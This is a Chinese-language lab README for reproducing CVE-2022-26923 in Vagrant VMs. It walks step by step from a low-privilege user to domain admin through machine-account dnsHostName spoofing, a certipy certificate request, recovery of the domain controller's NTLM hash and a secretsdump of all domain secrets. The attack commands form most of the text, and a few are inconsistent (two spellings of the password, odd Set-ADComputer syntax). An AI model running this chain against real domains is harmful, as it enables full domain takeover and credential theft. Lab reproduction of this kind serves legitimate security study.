此漏洞允许低权限用户在默认的 Active Directory 环境中,在安装了 Active Directory 证书服务 (AD CS) 服务器角色的情况下,将权限提升至域管理员。
该漏洞主要与 Active Directory 证书服务 (AD CS) 角色相关。AD CS 角色是一种 Windows Server 角色,允许您构建公钥基础设施 (PKI),并为您的组织提供公钥加密、数字证书和数字签名功能。AD CS 角色用于为用户、计算机和服务颁发证书。
使用的 Windows Server 版本是 Windows Server 2019 Standard Evaluation,该版本存在漏洞。 提供的 Vagrantfile(位于 Vulnerable Machine 文件夹中)将创建一个安装了并配置了 AD CS 角色的 Windows Server 2019 虚拟机,同时包含一个低权限用户,其凭据如下:
userV@grant1要创建该环境,请按照以下步骤操作:
CVE-2022-26923 目录:
git clone https://github.com/Gh-Badr/CVE-2022-26923
cd CVE-2022-26923
Vagrantfile 中替换以下行中的 IP 地址:
config.vm.network "private_network", type: "static", ip: "192.168.33.13"
cd 'Vulnerable Machine'
vagrant up
certipy 的 Linux 机器,可以使用 Attacker Machine 目录中提供的 vagrant 机器,运行以下命令:
cd 'Attacker Machine'
vagrant up
Attacker Machine 文件夹包含一个 vagrant 机器以及一个 shell 脚本,该脚本将安装最新版本的 certipy。您也可以使用该脚本在您的 Linux 机器上安装 certipy。
要连接到攻击机器,请从 Attacker Machine 目录运行以下命令:
vagrant ssh
现在您在攻击机器上,需要将 Windows Server 的 IP 地址添加到 hosts 文件中:
echo "192.168.33.13 VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts
注意:如果您在漏洞机器的 Vagrantfile 中更改了 IP 地址,则此处也需要更改。
然后,让我们在域中创建一个新的计算机账户:
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'
要验证计算机账户是否已创建,请通过运行以下命令从 Vulnerable Machine 目录连接到漏洞机器,使用 user 和密码 V@grant1:
vagrant ssh
然后,运行以下命令验证计算机账户已创建:
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName
此机器账户的 dnsHostName 为 CVEPC.vagrant.local。我们的目标是将其更改为 VAGRANT-K51B6U3.vagrant.local,即域控制器的名称。
为此,我们需要首先从计算机账户 CVEPC 中删除服务主体名称 (SPN),运行以下命令:
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}
然后,运行以下命令将 dnsHostName 更改为 VAGRANT-K51B6U3.vagrant.local:
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
现在,我们拥有一个 dnsHostName 为 VAGRANT-K51B6U3.vagrant.local 的计算机账户,我们可以通过运行以下命令,从漏洞机器请求一个恶意证书:
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local
您应该会在当前目录中获得一个名为 vagrant-k51b6u3.pfx 的证书。
要验证证书是否有效,请使用 certipy 的 auth 工具运行以下命令:
certipy auth -pfx vagrant-k51b6u3.pfx
如果证书有效,您应该会得到域控制器的 NTLM 哈希。该哈希可用于多种恶意用途。
作为概念验证,我们可以使用 NTLM 哈希来检索域中存储的所有机密(如该 CVE 作者的文章所述)。为此,我们可以使用 impacket 套件中的 secretsdump.py 工具(该工具随最新版本的 certipy 一起安装)。
要使用该工具,请运行以下命令:
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>
将 <NTLM hash> 替换为在上一步中获得的 NTLM 哈希。
结果,您应该会得到域中存储的所有机密。